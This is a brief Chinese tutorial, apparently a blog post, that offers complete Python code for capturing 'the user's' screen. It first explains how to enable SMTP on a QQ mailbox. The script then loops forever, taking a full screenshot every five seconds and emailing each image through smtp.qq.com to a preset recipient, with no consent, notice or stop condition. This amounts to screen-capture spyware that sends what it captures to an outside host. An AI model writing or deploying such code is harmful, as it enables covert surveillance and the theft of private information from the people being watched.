python获取用户屏幕截图
原理:
使用SMTP协议及截图函数完成屏幕截取并自动发送到指定邮箱。
邮箱开启SMTP服务,记住授权码
登录网页版邮箱->设置->账户,找到SMTP服务将其开启,记住授权码。
代码
import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
import time
from PIL import ImageGrab
def smtp():
fromaddr="" #发送方的qq邮箱
password="" #授权码
toaddrs="" #接收方qq邮箱
content="正文内容"
textApart=MIMEText(content) #输入邮件内容
imageFile=r'D:\\1.png' #r 表示原生字符,不进行转义
imageApart=MIMEImage(open(imageFile,'rb').read(),imageFile.split(".")[-1]) #保存图片
imageApart.add_header('Content-Disposition','attachment',filename="屏幕截图.png") #添加报头信息
m=MIMEMultipart() #进行邮件传送
m.attach(textApart) #传送内容
m.attach(imageApart) #传送图片
m['ss']="标题"
try:
server=smtplib.SMTP('smtp.qq.com') #与SMTP进行连接
server.login(fromaddr,password) #传自己的邮箱和授权码
server.sendmail(fromaddr,toaddrs,m.as_string()) #进行发送
print("发送成功")
server.quit() #关闭
except smtplib.SMTPException as e:
print('erro:',e)
def img():
i=1
while True:
im=ImageGrab.grab() #截取屏幕
im.save('D:\\1.png') #进行保存
print("第%d个屏幕截图成功" % i)
time.sleep(5)
i = i + 1
smtp() #将截图进行发送
if __name__=="__main__":
img()
|